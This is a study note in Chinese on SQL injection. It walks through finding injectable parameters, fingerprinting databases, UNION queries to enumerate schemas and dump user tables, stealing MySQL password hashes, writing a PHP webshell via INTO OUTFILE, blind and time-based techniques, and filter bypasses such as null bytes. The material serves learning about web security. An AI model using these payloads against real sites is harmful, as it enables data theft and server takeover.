sql注入系统学习

寻找及确认sql注入

于参数后面加一个单引号’

and于or

加法和减法

数字型不需要单引号时

利用sql注入

识别数据库

asp和.net	Microsoft SQL Server
PHP Mysql.PostgreSQL
java Oracle.Mysql

基于错误识别数据库

需要一条详细的报错信息

基于数字函数推断

数据库服务器 函数
Mircrosoft SQL Server @@pack_received.@@rowcount
Mysql connection_id().last_insert_id().row_count().len()
Oracle BITAND(1,1).length()
postgreSQL select EXTRACT(DOW FROM NOW())

connection_id()不管值多少都是正的也就是真的,last_insert_id()这里不存在insert语句,默认情况就是返回零,也就是假.

那么如果and connection_id()数据返回正常,and last_insert_id()不返回数据我们就可以推断这个是一个mysql数据库了

UNION语句提取数据

UNION语句可以合并两条或多条SELECT语句的查询结果,如果应用返回了第一条查询语句的数据,我们就可以在第一条查询语句后面注入一个UNION运算符添加一个任意查询,来提取数据,但是必须满足两个条件

  • 两个查询返回的列数必须相同

    可以使用NULL来尝试,由于NULL值会转成任何数据类型

    union select null,null,null...	这样加上去知道不返回错误
    order by 4
  • 两个查询语句对于列返回的数据类型必须相同

    使用我们的测试字符串进行替换null
    union select user(),@@version,null

枚举数据库

表,列,数据存放在information_schema数据库中

数据库名存放在information_schema数据库下的schemata表的schema_name字段中
union select null,schema_name,null from information_shcema.schemata

表名存放在information_schema数据库下tables表table_name字段中
union select null,table_name,null from information_schema.tables where table_schema="wanan"

数据在表里
union select username,password ,null from users

窃取哈希口令

mysql在mysql.user表中存储哈希口令

select user,password from mysql.user
哈希口令是通过PASSWORD()函数计算的
select password('wanan')

获取webshell

利用sql注入像服务器写文件(这里需要得到网站的绝对路径)

select into outfile(dumpfile)//mysql 写文件命令
select "<?php echo 'test';?>" into outfile "/var/www/test.php";

sql盲注

1.提交一个导致sql查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容可被适度控制的页面
2.提交一个导致sql查询无效时,会返回一个通用的错误页面,提交正确则会返回一个内容不可空页面
3.提交受损或不正确的sql即不会产生错误页面,也不会以任何方式影响页面输出

基于布尔

SUBSTRING(str,pos,len)
没有len参数的形式返回一个字符串从字符串str从位置pos开始。一个len参数的形式返回len个字符长的字符串str的子串,从位置pos开始,形式使用的是标准的SQL语法。另外,也可以使用负的值为pos。在这种情况下,刚开始的子串位置的字符结尾的字符串,而不是开始。负的值可用于为pos在此函数中的任何形式的。
1 and SUBSTRING(user(),1,1)='a'			看返回true还是false

基于时间

union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null

绕开过滤

大小写变种

如使用strstr($id,'union') strstr()函数是对大小写敏感的,所以可以大小写绕过

URL编码

对数据进行url编码

双url编码,但是前提是后面有一个url解码

sql注释

当仅使用strstr($id,’ ‘)过滤空格时,可以使用注释符等绕过

空字符

通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS),这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生变成语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。

只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可,例如:

%00' union select username,password from users where username='admin' --

二次SQL注入

查询的语句所用到的变量name就是从数据库提取到的我们的用户名,所以我们可以先利用更新我们的用户名功能插入语句进数据库。